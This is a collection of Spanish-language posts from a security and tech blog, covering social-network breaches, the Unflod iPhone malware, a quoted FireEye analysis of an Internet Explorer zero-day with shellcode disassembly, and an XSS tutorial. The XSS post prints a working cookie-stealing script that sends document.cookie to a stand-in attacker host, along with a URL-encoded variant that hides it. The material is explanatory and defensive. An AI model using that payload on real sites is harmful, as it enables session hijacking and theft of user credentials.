Hackean cientos de cuentas de Twitter para hacer SPAM

Hackean cientos de cuentas de Twitter para hacer SPAM

 

 

hace unos días, cientos de cuentas de Twitter fueron hackeadas para hacer SPAM.

Las cuentas comprometidas hacían publicidad a píldoras milagrosas para dietas, enlaces a páginas web donde había revistas falsas sobre la salud femenina y donde había enlaces a software maliciosos que se descargaba en los equipos de los usuarios.

 

Los seguidores de estas cuentas veían como en su timeline los tweets con el siguiente mensaje : “Si no hubiera probado ésto mi vida no hubiera cambiado” empezaban a parecer misteriosamente, seguido del enlace a contenido malicioso que afectó a cientos de personas

En un primer lugar los tuits mostraban un identificar desde donde se había publicado el mensaje, un sitio web llamado weheartit.com, pero después modificaron este identificador y aparecía que fueron publicados desde un iPhone, haciendo casi imposible identificar la fuente.

Aunque aún no se sabe a ciencia cierta cómo se ha propagado, se cree que un usuario fue capaz de acceder al sitio web womenshealth.com y posteriormente lo utilizó para enviar spam a sus seguidores.

Es recomendable siempre tener mucho cuidado con los enlaces acortados donde pinchamos, ya que pueden llevar a contenido malicioso, y seguir las recomendaciones básicas en estos casos:

Tener el antivirus actualizado.

Es muy recomendable el uso de un firewall para conexiones salientes y entrantes no autorizadas.

La utilización de un HIPS, para evitar modificaciones de registro.

Y por descontado, la utilización de un navegador actualizado y seguro como Firefox o Chrome, y a ser posible, tener desactivado Flash y Java que son los programas con más vulnerabilidades de seguridad.

 

 

 

 

Publicado por soymaquero.net

Consejos de seguridad en Facebook para tener control de si alguien accede a tu cuenta Preguntas de los socios

Consejos de seguridad en Facebook para tener control de si alguien accede a tu cuenta



Trasuno de los mas  reciente incidente en Facebook en  el que se han expuesto los datos personales de 6 millones de usuarios que se almacenaban en sus servidores, queda demostrado que incluso los mejores servicios en la nube tienen su talón de Aquiles y que sus usuarios deben tener un plan de acción para estos casos. 

El equipo de seguridad de Facebook admitió que, debido a un error en la plataforma de seguridad, se filtró la información de seis millones de usuarios a personas no autorizadas. 

Vamos que si una persona se quería descargar sus datos de Facebook en un archivo a través de la herramienta “Descarga tus Datos”, podía recibir la dirección de email o el número de teléfono de sus contactos u otras personas con las que estuviese relacionada.

 Para evitar daños mayores, Facebook bloqueó, temporalmente, esa función pero los datos de millones de usuarios ya estaban expuestos y saqueados.
 La denuncia de los expertos de Kaspersky Lab,contaba que,  si alguien descargó tus datos personales, Facebook te enviará una notificación informándote. 

La compañía no te  responderá a la pregunta “¿Quién se ha descargado mi información?, pero sí te dira  el número de personas, normalmente una o dos, que lo ha hecho. 

Esta filtración de datos ha sido bastante reducida y, por eso, es poco probable que se puedan utilizar los detalles confidenciales en un robo de identidad u otro tipo de actividad maliciosa. 

Pero conociendo el historial de Facebook con la seguridad, es necesario mantenerse alerta y prestar atención a cualquier notificación relacionada con el Tema.

En muchas ocasiones, los cibercriminales aprovechan estas situaciones para enviar cartas de phishing a futuras víctimas, por lo que es necesario tener cuidado con los enlaces o los archivos que se descargan. Las notificaciones de Facebook siempre aparecen en el siguiente link https://www.facebook.com/security/notes y no es necesario introducir ningún dato personal, como la contraseña o el nombre de usuario.

                                                  Consejos y recomendaciones
Para minimizar los daños causados por una filtración de datos de este tipo, publicamos unos consejos basicos que el usuario debe tener en cuenta:

•    Usa una dirección de correo electrónico específica para recibir las notificaciones de las redes sociales. Es conveniente usar un email diferente para estar en contacto con amigos y otro, confidencial, para recibir información de bancos u otra institución relevante.

•    Crea contraseñas fuertes, sin palabras que se puedan encontrar en un diccionario, datos personales o que siga un orden regular del teclado. Una contraseña segura debe contener una combinación de letras, números y caracteres especiales.

•    Enlaza tu cuenta de Facebook con un teléfono móvil, permite realizar múltiples ajustes de seguridad. Esto supone que controles en todo tiempo la seguridad de tu perfil en la red social.

•    Activa la navegación segura y se cifrará tu navegación en Facebook, evitando que nadie pueda introducirse en tu cuenta cuando navegas a través de una red WiFi insegura.

•    Notificaciones de inicio de sesión. Con esta característica activada, Facebook te avisa cuando se accede a tu cuenta desde un dispositivo nuevo.

•    Selecciona aprobaciones de inicio de sesión para solicitar un código de acceso cuando te conectes a tu cuenta desde un dispositivo nuevo. Esta función impide que nadie pueda utilizar tu cuenta desde un dispositivo que no sea conocido por ti.

•    Dispositivos de confianza. Esta característica es una extensión de las Aprobaciones de Inicio de Sesión. A través de ella se te notificará cuando alguien se conecte a tu cuenta desde un dispositivo desconocido.

•    Sesiones activas. Comprueba tus sesiones activas en el apartado de seguridad de tu cuenta de Facebook para ver que no te has conectado desde un lugar desconocido.

•    Contraseñas específicas para Apps. Esta función existe porque algunas aplicaciones de Facebook no pueden recibir códigos de seguridad en ciertas plataformas. Si tienes activado Aprobaciones de Inicio de Sesión e intentas entrar a tu cuenta desde algún dispositivo, es posible que seas bloqueado.

ALERTA: 0-DAY en TODOS los navegadores de internet explorer

A sido Descubierta una vulnerabilidad que afecta a todas las versiones de Internet Explorer

debido a la gravedad del fallo, transcribimos el informe a continuación en ingles original y en enlace a la referencia de Microsoft sobre este fallo

 

La empresa de seguridad FireEye ha descubierto recientemente una vulnerabilidad en Internet Explorer que da vía libre a ataques "zero-day" (ataques que se producen en cuanto dicha vulnerabilidad es descubierta) al navegador. Afecta a todas las versiones desde la 6 a la 11, pero las mas afectadas son, concretamente a las versiones 9, 10 y 11.

Todos los usuarios que estén ejecutando un Windows que no sea de la gama Server están afectados, por lo tanto es muy probable que lo estés si estás leyendo este artículo desde Windows.

El ataque, con mas exactitud, se beneficia de un archivo SWF (Flash) para manipular la memoria que utiliza el navegador.

Lo que significa, que no estaremos expuestos si no tenemos Flash instalado, aunque como el Internet Explorer 10 y 11 lo llevan por defecto ya esta el lio montado.

La empresa FireEye ya ha informado a Microsoft del problema, y en Redmond lo están investigando para encontrar una solución.

No hay aun oficialmente ni fecha ni datos de cómo y cuándo se va a resolver, pero tratándose de un error así no creo que tardemos mucho en recibir una respuesta oficial. De momento ya estánintentando algo aumentando el nivel y siendo más estrictos en los niveles y aumentando las barreras contra el adware.

 

este es e informe de FireEye, en ingles, explicando el fallo

 

 

New Zero-Day Exploit targeting Internet Explorer Versions 9 through 11 Identified in Targeted Attacks

FireEye Research Labs identified a new Internet Explorer (IE) zero-day exploit used in targeted attacks. The vulnerability affects IE6 through IE11, but the attack is targeting IE9 through IE11. This zero-day bypasses both ASLR and DEP. Microsoft has assigned CVE-2014-1776 to the vulnerability and released security advisory to track this issue.

Threat actors are actively using this exploit in an ongoing campaign which we have named “Operation Clandestine Fox.” However, for many reasons, we will not provide campaign details. But we believe this is a significant zero day as the vulnerable versions represent about a quarter of the total browser market. We recommend applying a patch once available.

According to NetMarket Share, the market share for the targeted versions of IE in 2013 were:

IE 9 13.9%

IE 10 11.04%

IE 11 1.32%

Collectively, in 2013, the vulnerable versions of IE accounted for 26.25% of the browser market. The vulnerability, however, does appear in IE6 through IE11 though the exploit targets IE9 and higher.

The Details

The exploit leverages a previously unknown use-after-free vulnerability, and uses a well-known Flash exploitation technique to achieve arbitrary memory access and bypass Windows’ ASLR and DEP protections.

Exploitation

• Preparing the heap

The exploit page loads a Flash SWF file to manipulate the heap layout with the common technique heap feng shui. It allocates Flash vector objects to spray memory and cover address 0×18184000. Next, it allocates a vector object that contains a flash.Media.Sound() object, which it later corrupts to pivot control to its ROP chain.

• Arbitrary memory access

The SWF file calls back to Javascript in IE to trigger the IE bug and overwrite the length field of a Flash vector object in the heapspray. The SWF file loops through the heapspray to find the corrupted vector object, and uses it to again modify the length of another vector object. This other corrupted vector object is then used for subsequent memory accesses, which it then uses to bypass ASLR and DEP.

• Runtime ROP generation

With full memory control, the exploit will search for ZwProtectVirtualMemory, and a stack pivot (opcode 0×94 0xc3) from NTDLL. It also searches for SetThreadContext in kernel32, which is used to clear the debug registers. This technique, documented here, may be an attempt to bypass protections that use hardware breakpoints, such as EMET’s EAF mitigation.

With the addresses of the aforementioned APIs and gadget, the SWF file constructs a ROP chain, and prepends it to its RC4 decrypted shellcode. It then replaces the vftable of a sound object with a fake one that points to the newly created ROP payload. When the sound object attempts to call into its vftable, it instead pivots control to the attacker’s ROP chain.

• ROP and Shellcode

The ROP payload basically tries to make memory at 0×18184000 executable, and to return to 0x1818411c to execute the shellcode.

0:008> dds eax

18184100 770b5f58 ntdll!ZwProtectVirtualMemory

18184104 1818411c

18184108 ffffffff

1818410c 181840e8

18184110 181840ec

18184114 00000040

18184118 181840e4

Inside the shellcode, it saves the current stack pointer to 0×18181800 to safely return to the caller.

mov dword ptr ds:[18181800h],ebp

Then, it restores the flash.Media.Sound vftable and repairs the corrupted vector object to avoid application crashes.

18184123 b820609f06 mov eax,69F6020h

18184128 90 nop

18184129 90 nop

1818412a c700c0f22169 mov dword ptr [eax],offset Flash32_11_7_700_261!AdobeCPGetAPI+0x42ac00 (6921f2c0)

18184133 b800401818 mov eax,18184000h

18184138 90 nop

18184139 90 nop

1818413a c700fe030000 mov dword ptr [eax],3FEh ds:0023:18184000=3ffffff0

The shellcode also recovers the ESP register to make sure the stack range is in the current thread stack base/limit.

18184140 8be5 mov esp,ebp

18184142 83ec2c sub esp,2Ch

18184145 90 nop

18184146 eb2c jmp 18184174

The shellcode calls SetThreadContext to clear the debug registers. It is possible that this is an attempt to bypass mitigations that use the debug registers.

18184174 57 push edi

18184175 81ece0050000 sub esp,5E0h

1818417b c7042410000100 mov dword ptr [esp],10010h

18184182 8d7c2404 lea edi,[esp+4]

18184186 b9dc050000 mov ecx,5DCh

1818418b 33c0 xor eax,eax

1818418d f3aa rep stos byte ptr es:[edi]

1818418f 54 push esp

18184190 6afe push 0FFFFFFFEh

18184192 b8b308b476 mov eax,offset kernel32!SetThreadContext (76b408b3)

18184197 ffd0 call eax

The shellcode calls URLDownloadToCacheFileA to download the next stage of the payload, disguised as an image.

Mitigation

Using EMET may break the exploit in your environment and prevent it from successfully controlling your computer. EMET versions 4.1 and 5.0 break (and/or detect) the exploit in our tests.

Enhanced Protected Mode in IE breaks the exploit in our tests. EPM was introduced in IE10.

Additionally, the attack will not work without Adobe Flash. Disabling the Flash plugin within IE will prevent the exploit from functioning.

Threat Group History

The APT group responsible for this exploit has been the first group to have access to a select number of browser-based 0-day exploits (e.g. IE, Firefox, and Flash) in the past. They are extremely proficient at lateral movement and are difficult to track, as they typically do not reuse command and control infrastructure. They have a number of backdoors including one known as Pirpi that we previously discussed here. CVE-2010-3962, then a 0-day exploit in Internet Explorer 6, 7, and 8 dropped the Pirpi payload discussed in this previous case.

As this is still an active investigation we are not releasing further indicators about the exploit at this time.

Acknowledgement: We thank Christopher Glyer, Matt Fowler, Josh Homan, Ned Moran, Nart Villeneuve and Yichong Lin for their support, research, and analysis on these findings.

enlace a technet donde dan informacion desde microsoft https://technet.microsoft.com/es-es/library/security/2963983

 

Publicado por soymaquero.net

Quieren eliminar las contraseñas de los dispositivos moviles

Los gigantes informáticos buscan nuevos métodos de seguridad, Eliminando la clasica contraseña

Cuando el viernes pasado, el nuevo Galaxy S5 de Samsung presentó una característica inesperada, tambien confirmo una tendencia y es que al Igual que el iPhone 5S, está dotado de un sensor de huella digital, pero el de Galaxy conecta directamente con PayPal, que a su vez lleva a decenas de sistemas de pago distintos.
Realmente, el tema es ingeniososi lo reconozco, creo que es un método inteligente: que en lugar de una contraseña, lo único que se necesita es una huella digital para acceder a la Red, ¿pero estamos seguros de esto? ¿se convertira en un escalon mas de control de nuestos datos?. 

Si las compañías siguen en esta dirección, es muy probablemente que pronto las contraseñas no hagan falta en absoluto.

"Por supuesto, el escáner de huellas digitales del S5 podría fracasar, ya que según algunas apreciaciones no es perfecto, pero no es nuestra única oportunidad."

"Google está elaborando claves ('tokens') USB para entrar a las cuentas personales que deben salir a la venta este año. Microsoft no proporciona detalles, pero ya ha prometido también una 'alternativa a las contraseñas'", Cuenta en el portal 'The Verge'.

Aunque parezca una coincidencia que todas las empresas adopten en el mismo momento el nuevo enfoque, este se basa en un estándar que lleva dos años desarrollándose, y se ve mas como un acuerdo oculto para la creacion de un nuevo sistema de control.

Todo comenzo en  2012 ,cuando  un grupo llamado FIDO Alliance comenzo a contruir un sistema de puente entre los proyectos de hardware como el sensor de huella digital y los servicios electrónicos a los que conectan.

Lo mas llamativo de esta tecnología Fue la simplicidad de conexión, por lo que, si el escáner de huella digital de Samsung no tiene éxito, la empresa puede regresar al mercado el próximo año con un escáner de iris o un 'token' NFC.

Este enfoque también da lugar a tecnologías todavía no inventadas, como escáneres de ADN y dispositivos de identificación por el biorritmo.

"Es un complot para matar la contraseña, algo que ha requerido años y millones de dólares. Y con el lanzamiento del Galaxy S5, el primer teléfono en adoptar el enfoque de FIDO, la trama se ha puesto en marcha", concluye "The Verge".

fuente Reuters

Lavabit, acusado de desacato (anda que....)

Lavabit acusado de desacato por entregar clave SSL impresa en 11 hojas con letra pequeña

todos recordamos lavabit, el servicio de correo electronico seguro, que fue cerrado por presiones tras el caso snowden

El servicio de correo electrónico usado por Snowden prefirió cerrar antes de entregar las claves SSL que protegían todo el tráfico web del sitio.

Hace unos meses atrás les contamos cómo Lavabit, el servicio de correo electrónico cifrado que utilizaba Edward Snowden, se vio "forzado" a cerrar por las presiones del Gobierno de Estados Unidos.

Si bien en su momento no transcendio  muchos detalles debido a la naturaleza del juicio, con el tiempo fueron saliendo a la luz detalles bastante interesantes.

Para muestra un boton, , cuando el FBI presionó a Ladar Levison (el fundador de Lavabit) para que entregara su clave privada del protocolo SSL, éste intentó dilatar la medida entregando la clave impresa en 11 páginas con una letra de tamaño 4 (un milímetro y medio de altura).

Ahora, una corte federal de apelaciones aceptó una acusación de desacato a la autoridad contra Levison y Lavabit por entregar en ese formato la clave SSL. Según el fiscal Andrew Peterson, "la empresa trató la orden judicial como si estuviera negociando un contrato en vez de ser un requerimiento legal".

Por su parte, Levison se defiende argumentando que "solo objeté entregar la clave SSL porque comprometería todas las comunicaciones seguras dentro y fuera de mi red, incluyendo mi propio tráfico de datos".

HUMOR Siri Sabe cuando se habriran las puertas del infierno

 

Siri te predice cuando se abrirán las puertas del infierno

¿Quieres saber cuándo se abrirán las puertas del infierno? Siri te lo dice

Siri, la asistente por voz del iPhone, generalmente tiene mucha información interesante para compartir, y ademas un sentido del humor envidiable, ya que, Además de entender el lenguaje natural, Siri también es un poco cantante, un poco filósofa y un poco política.

Pero algunos también descubrieron que es un poco BRUJITA y pitonisa, y que de vez en cuando esta metida de profeta, ya que si le preguntas que preguntes sobre que pasara el dia 27 de julio de 2014 para que prediga la apertura de las puertas del infierno para el .

Digamos que estás tranquilamente hablando con Siri y se te ocurre preguntarle qué día es el 27 de julio de 2014. y como era de esperar Ella, con el tono tranquilo que siempre tiene, contestará:

“Será domingo, 27 de julio de 2014 (apertura de las puertas del infierno)”

¿No nos crees? Pregúntale, nunca has escuchado a Siri en un plan tan tenebroso. Antes de que te asustes y tires el telefono por la ventana o intentes hacerle un exorcismo, o corras acojonado, espera un segundo y te explicamos el motivo de esta respuesta, ya que hay una razón perfectamente lógica de por qué Siri da esta respuesta.

Resulta que el 27 de julio del 2014 será el día del “Ramadán” para los musulmanes, el día en que termina todo un mes de ayuno, la abstención de alcohol y celibato. Por las diferencias con el calendario gregoriano (el que se usa en Occidente), cada año el “Ramadán” cae en un día distinto, y en el 2014 será en julio.

Según la tradición, y las palabras de Al-Bujaru y Muslim (dos importantes eruditos musulmanes):

“Cuando el mes de Ramadán comienza, las puertas del paraíso son abiertas y las puertas del infierno son cerradas y los demonios son encadenados”

La creencia popular asume por lógica, por lo tanto, que cuando termina el Ramadán las puertas del infierno se abren. Por eso Siri da esa respuesta. ¿Qué te parece?

 

Publicado por soymaquero.net

Tabla de Códigos ASCII continuación

Tabla de Códigos ASCII

  continuando los articulos anteriores, aqui teneis la tabla que faltaba, La Tabla de codigos de control en ASCII 

Tabla De Conversión Decimal, Hexadecimal, Octal, Binario (Saga XSS )

continuamos con los articulos de XSS, con la tabla de conversiones a

Decimal, Hexadecimal, Octal, Binario 

Ale chicos, a probar las betas de OSX, GRATIS

APPLE lo ha vuelto ha hacer, a vuelto a revolucionar las ideas preconcebidas ¿Como? pues de la forma mas simple: a partir de ahora, las versiones beta de OS X quedan disponibles para todo el mundo y no sólo para los desarrolladores que estén unidos al Developer Program de Apple por 99 dólares anuales. 

                        

El cambio ya esta disponible con la versión beta de OS X Mavericks 10.9.3.

como veis en la captura de arriba, lo único que tenemos que hacer para acceder a ese programa y poder instalarnos las versiones beta de OS X es iniciar sesión con nuestra cuenta de Apple en esta página web, desde donde se nos anima a "ayudar a que OS X sea mejor" probando una versión no lanzada de OS X y enviando nuestro feedback.
yo dispongo del Developer Program, y la verdad, considero que esto va ha ser de gran ayuda, asi que ya sabes si siempre habéis querido probar las versiones beta de OS X, este es vuestro momento.

 La unica duda que tengo es : ¿Segira esta politica con  la versión beta de OS X 10.10  el mismo dia que sea presentada en la WWDC 2014? aunque hay dudas, creo que a la vista esta, que apple en ese tipo de cosas, no suele dar marcha atras

abajo dejo el enlace para que podais daros de alta, un saludo a todos y ya contais.

https://appleseed.apple.com/sp/betaprogram

Tabla de Códigos HTML

continuamos el articulo sobre XSS dando las tablas de codigos HTML

Feliz 25 aniversario Gameboy

Aun recuerdo la 1 gameboy, fuy uno de los primeros que me la compre cuando saio, en la época en que nadien tenia muy claro que era eso, y la verdad, fue una revoución, ya que en poco meses era raro no ver a alguien sin una en sus manos.

 

 

 

 

Y es por que La Gameboy es uno de los mejores ejemplos de la filosofía Nintendo: lo importante son los juegos, no el hardware. Cuando llegó al mercado un día como hoy de hace 25 años no era la videoconsola de bolsillo más potente ni la más avanzada, pero si resultó ser la más barata, la de mayor autonomía y sin duda la más adictiva.

Esta última fue la clave del éxito de una consola cuyo creador, Gunpei Yokoi se había inventado de la nada la categoria de vídeoconsolas de bolsillo con las Nintendo Game&Watch. Con el éxito de más de 80 millones de Game&Watch vendidas en los años 80, Yokoi recibió el encargo de desarrollar una consola de bolsillo de nueva generación con cartuchos independientes que permitirían cambiar de videojuego sin tener que cambiar de consola. El resultado fue la Gameboy.

 

 

 

 

 

La gran calidad, cantidad y adictividad de los juegos marcaron la diferencia. Especialmente destacarón dos juegos Super Mario Land para los más pequeños y la revolución Tetris que lograron mantener en exclusiva y atrajo a un público más adulto.

La Gameboy tenía una pequeña pantalla monocroma verde, usaba cuatro pilas AA, era relativamente ligera y cabía malamente en el bolsillo. En aquella época el mercado se inundó de consolas portatiles de 8 bits como la Game Gear de Sega, la Lynx de Atari o la TurboExpress de Nec, pero fue la Gameboy la que logró conectar con el público y dominar el mercado.

Nintendo vendió 400.000 unidades en su lanzamiento en Japón, agotando el stock en pocos días. Después repitió éxito en EE.UU y Europa, y sumando las diversas generaciones (llegó a tener una pantalla a color) vendieron un total de 118 millones de unidades de la Gameboy hasta marzo 2003, cuando se dejó de fabricar. Un record solo superado por la Nintendo DS (la heredera) y la Sony PlayStation 2. No está nada mal para una idea que nació a partir de una sencilla calculadora.

 

Publicado por soymaquero.net

Unflod Baby Panda, El iphone 5, con jailbreak, esta siendo atacado por una campaña de malware

Los iPhone 5 con Jailbreak son el objetivo de una campaña de malware

Ya sabéis, por nuestros artículos y en nuestras charlas, talleres y cursos, que no consideramos los jailbreak que realmente sean útiles, los consideramos mas una forma de prueba y taller, ya que cualquiera que lo use, sabe que a la larga da mas dolores de cabeza que otra cosa y también sabéis que en muy pocas ocasiones hemos hecho referencia a los dispositivos móviles de Apple por un problema de seguridad.

Pero los dispositivos con jailbreak, son otra histora, en esta ocasión tenemos que decir que los dispositivos de la compañía con Jailbreak están siendo afectados por una campaña malware cuyo origen esta aún siendo investigado por los expertos en seguridad.

Por lo que se ha sabido por el momento, todo comenzó hace unos días cuando un usuario se percato que su iPhone 5 con Jailbreak poseía un funcionamiento anómalo, para ser mas exactos, que muchas aplicaciones se cerrasen de forma inesperada y saltasen muchos avisos de error en el sistema iOS.

Pocas horas después , desde la comunidad Reddit se ha confirmado, que la amenaza malware se distribuye a través de redes sociales y que recibe el nombre de Unflod Baby Panda.

Ademas, se cree que también podría estarse distribuyendo haciendo uso de sitios web donde se habla de asuntos relacionados con el Jailbreak de estos dispositivos, ofreciéndose a los usuarios como una aplicación complementaria.

Por el momento,principalmente está afectando a los usuarios chinos, pero ya se han dado algunos casos de usuarios europeos que se han visto afectados por este malware.

¿Cual es el propósito de este malware?

Por ahora se ha comprobar que la finalidad de este malware es la de robar los Apple ID de los dispositivos de los usuarios.

Así que, aunque, esta parece ser es la actividad principal que muestra el malware, también se encarga de recopilar información de otras aplicaciones y robar las credenciales que el usuario utiliza en las sesiones de otros servicios.

Después de recopilarlas, el malware las va enviando paulatinamente a un servidor que se encuentra localizado en China.

La buena noticias, Los dispositivos que están afectados

Aunque es algo que no se encuentra aun confirmado al cien por cien, lo que si se puede decir es que únicamente estarían afectados los iPhone 5 con Jailbreak, quedando excluidas las versiones anteriores de los dispositivos y también las versiones posteriores del mismo.

Lo que si se confirma es que ningún dispositivos iPad está afectado por la vulnerabilidad, por lo que todo se centra en torno al iPhone 5.

Fuente | The Hacker News

 

Publicado por soymaquero.net

Confirmado, facebook obligara a descargar su app de mensajeria

Cuando hace aproximadamente un mes, publicamos un articulo, avisando que facebook estaba haciendo movimientos raros con sus sistemas de mensajeria, y que todo apuntaba a que lo sustituirían por el whatsapp, mas de uno de los que nos leen, nos llamaron exagerados y desconfiados, pero parece ser que no nos equivocábamos mucho, y tal y como publica Techcrunch, parece que no nos equivocábamos demasiado, y es que tal y como el mismo facebook esta comenzando a comunicar a sus usuarios , te obligará a descargar la app así que ya no podrás enviar mensajes privados sin antes tener Messenger.

Pues si, Facebook ya no permitirá que sus usuarios envíen y reciban mensajes privados dentro de su aplicación para teléfonos móviles y exigirá a sus usuarios que instalen una aplicación de mensajería separada.

este miércoles pasado, comenzó ya ha avisar a sus usuarios en Francia, Inglaterra y otros países europeos que dentro de unas semanas seria obligatorio instalar otra aplicación de la compañía para enviar y recibir mensajes. aunque comentan oficialmente que será el Facebook messenger, los rumores sobre que seria la aplicación whatsapp, la que seria la bligatoria, cobra cada vez mas fuerza.

Según la versión oficial, La red social planifica eventualmente exigir que todos sus usuarios en el mundo instalen la aplicación Messenger, tal y como declaro el portavoz de la empresa, Derick Mains, aunque no pudo entregar una fecha específica para el cambio.

La medida busca garantizar que los usuarios tengan una experiencia consistente y de alta calidad, dijo un portavoz de Facebook a Reuters. La aplicación independiente y gratuita es más rápida que el servicio de mensajes incluido actualmente en la aplicación principal de Facebook.

Los usuarios de la red social también pueden acceder a más características en la aplicación nueva, como la capacidad de realizar llamadas de voz.

"Hemos construido una experiencia rápida y confiable de mensajería a través de Messenger y ahora tiene sentido concentremos toda nuestra energía y recursos en esa experiencia”, publico tambien en ese comunicado.

La verdad, es que Facebook se enfrenta una creciente competencia, por las aplicaciones de mensajería móvil, las cuales están teniendo un rápido crecimiento, tales como Snapchat, Line o Telegram.

Y eso también se unió a la sorpresa que se llevaron a los observadores y analistas cuando en en febrero anuncio sus planes para comprar a la popular aplicación de mensajería WhatsApp por 19, 000 millones de dólares.

esta claro que el echo de obligar a sus usuarios a instalar una aplicación de mensajería en sus teléfonos podría ayudar a incrementar la popularidad de Facebook Messenger, pero personalmente creo que lo que va ha provocar será un fuerte revés si los consumidores consideran la medida de Facebook como muy exagerada.

lo que es seguro es que el texto publicado el miércoles en el blog de tecnología "Mashable" titulado “11 razones por las sacar el Messenger de Facebook Mobile es una idea terrible” y muchas personas expresaron sus críticas en Twitter sobre el cambio.

Facebook, ya adquirió la aplicación Instagram para compartir fotografías y compro WhatsApp, que tiene más de 450 millones de usuarios. esperemos que no pase como con instagram y que sean capaces de mantener independientes los programas, pero visto lo visto y la historia previa de lo que ha pasado con las adquisiciones de Facebook, nos tememos lo peor, en fin el tiempo lo dirá .

Publicado por soymaquero.net

Ataques de secuencia de comandos entre páginas Web por (XSS)

continuamos con el articulo del pasado jueves, dando mas informacion sobre una de las vulnerabilidades mas usadas, esperemos que te gusten y en las proximas entregas las desarrollaremos mas

Inyección de código malintencionado
Los ataques por secuencias de comandos entre páginas Web (también conocidos como XSS o CSS) son ataques dirigidos a los páginas Web que muestran de forma dinámica el contenido de los usuarios sin verificar ni codificar la información ingresada por ellos. Este tipo de ataque obliga a la página Web a mostrar el código HTML o los comandos ingresados por los usuarios. Por lo tanto, el código incluido (por lo general se usa el término "inyectado") en una página Web vulnerable se considera "malintencionado".

Es común que las páginas Web muestren mensajes informativos directamente mediante el uso de un parámetro introducido por el usuario. El ejemplo más clásico es el de las "páginas de error 404". Algunas páginas Web modifican el comportamiento de la página Web de modo que pueda mostrar un mensaje de error personalizado cuando la página solicitada por el visitante no existe. En ciertas ocasiones, la página generada dinámicamente muestra el nombre de aquella que se solicita. A una página Web con dicho error la llamaremos http://miwebes.vulnerable. La solicitud de la dirección URL del página Web http://miwebes.vulnerable/paginainexistente correspondiente a una página que no existe genera un mensaje de error que indica que la "página inexistente" no existe. En consecuencia, es posible mostrar cualquier contenido desde el página Web remplazando "página inexistente" por cualquier otra cadena.

De esta forma, si el contenido suministrado por el usuario no se verifica, es posible mostrar un código HTML arbitrario en una página Web para cambiar su apariencia, contenido o comportamiento.

Asimismo, la mayoría de los navegadores tienen la capacidad de interpretar las secuencias de comandos de las páginas Web, incluso en otros lenguajes, como JavaScript, VBScript, Java, ActiveX o Flash. Las siguientes etiquetas HTML permiten incorporar secuencias de comandos ejecutables en una página Web: <SCRIPT>, <OBJECT>, <APPLET> y <EMBED>.

Por lo tanto, un pirata informático puede inyectar un código arbitrario en la página para que se ejecute en el equipo del usuario cuando intenta garantizar la seguridad de la página Web vulnerable. Para ello, sólo debe remplazar el valor del texto que se mostrará con una secuencia de comandos de modo que aparezca en la página Web. Siempre y cuando el navegador del usuario esté configurado para ejecutar dichas secuencias de comandos, el código malintencionado tendrá acceso a todos los datos compartidos por la página Web y el servidor del usuario (cookies, campos de entrada, etc.).

Consecuencias

Gracias a las vulnerabilidades de las secuencias de comandos entre páginas Web, un pirata informático puede usar este método para recuperar datos intercambiados entre el usuario y el página Web al que ingresa. Por ejemplo, el código inyectado en la página se puede usar para engañar al usuario y hacer que ingrese información de autenticación.

Además, la secuencia de comandos inyectada puede redireccionar al usuario a una página Web controlada por el pirata informático, probablemente con la misma interfaz gráfica que la página Web comprometida para engañar al usuario.

En este contexto, la relación de confianza que existía entre el usuario y el página Web se ve afectada por completo.

Persistencia del ataque

Cuando los datos ingresados por el usuario se almacenan en el servidor durante cierto período de tiempo (como en el caso de un foro de discusión, por ejemplo), el ataque se llama "persistente". Todos los usuarios de la página Web tienen acceso a la página donde se ha inyectado el código.

Los ataques denominados "no persistentes" se dirigen a páginas Web dinámicas en las que una variable ingresada por el usuario se muestra como tal (por ejemplo, cuando aparece el nombre de usuario de la página actual o de la palabra ingresada en un campo de entrada). Para aprovechar esta vulnerabilidad, el atacante debe proporcionar a la víctima una dirección URL modificada, transfiriendo el código que se debe ingresar como un parámetro. Sin embargo, debido a que una dirección URL contiene código Javascript y algunos elementos pueden resultarle sospechosos a la víctima, este ataque generalmente se realiza codificando los datos de la dirección URL para que el código inyectado permanezca oculto.

Veamos un Ejemplo

Supongamos que la página de inicio de miwebes.net es vulnerable a un ataque por secuencia de comandos entre páginas Web ya que en ella puede aparecer un mensaje de bienvenida con el nombre del usuario como un parámetro:

http://miwebes/?nom=Joselito
Una persona malintencionada podría llevar a cabo un ataque XSS al proporcionar a la víctima una dirección que remplace el nombre "Joselito" con un código HTML. En especial, podría transferir el siguiente código Javascript como un parámetro para redireccionar al usuario a una página controlada por el pirata:

<SCRIPT> document.location='http://site.pirate/cgi-bin/script.cgi?'+document.cookie </SCRIPT>
El código anterior recupera las cookies del usuario y las envía como parámetros a una secuencia de comandos CGI. El siguiente código transferido como un parámetro sería demasiado obvio:

http://miwebes/?nom=<SCRIPT>document.location ='http://site.pirate/cgi-bin/script.cgi?'+document.cookie</SCRIPT>
No obstante, la codificación de la dirección URL permite ocultar el ataque:

http://miwebes/?nom=%3c%53%43%52%49%50%54%3e%64%6f%63%75%6d%65% 6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%5c%27%68%74%74%70%3a%2f%2f%73%69%74% 65%2e%70%69%72%61%74%65%2f%63%67%69%2d%62%69%6e%2f%73%63%72%69%70%74%2e% 63%67%69%3f%5c%27%20%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f% 53%43%52%49%50%54%3e


Como seria un Ataque entre páginas Web

En el ejemplo anterior, toda la secuencia de comandos se transfirió como un parámetro URL. El método GET, que permite transferir los parámetros a la dirección URL, se limita a una longitud total de 255 caracteres. Gracias al atributo SRC de la etiqueta <SCRIPT>, es posible ejecutar un código malintencionado almacenado en una secuencia de comandos en un servidor remoto. Como es posible inyectar un código desde una fuente remota, este tipo de ataque se realiza "entre páginas Web".

Como Protegernos

Los usuarios pueden protegerse contra los ataques XSS al configurar sus navegadores para impedir que se ejecuten lenguajes de secuencias de comando. En realidad, esto no brinda una solución óptima para el usuario ya que muchas páginas Web no funcionan adecuadamente cuando se prohíbe la ejecución de un código dinámico.

La única solución viable para impedir los ataques por secuencias de comandos entre páginas Web consiste en diseñar páginas Web sin vulnerabilidades.

Para conseguir esto, el diseñador debe:

verificar el formato de los datos ingresados por los usuarios

codificar los datos visibles del usuario remplazando los caracteres especiales con sus equivalentes en HTML

El término "sanitización"(sanitation en inglés) hace referencia a todas las acciones que contribuyen a proteger los datos ingresados.
  en la proxima entrega, mostraremos los distintos codigos especiales en los distintos formatod (HTML, Hexadecimal, etc...)

te espero en unos dias

¿Que es y como se ejecuta un ataque XSS?

Definición Tipos de ataques Consideraciones PDF XSS XSRF 

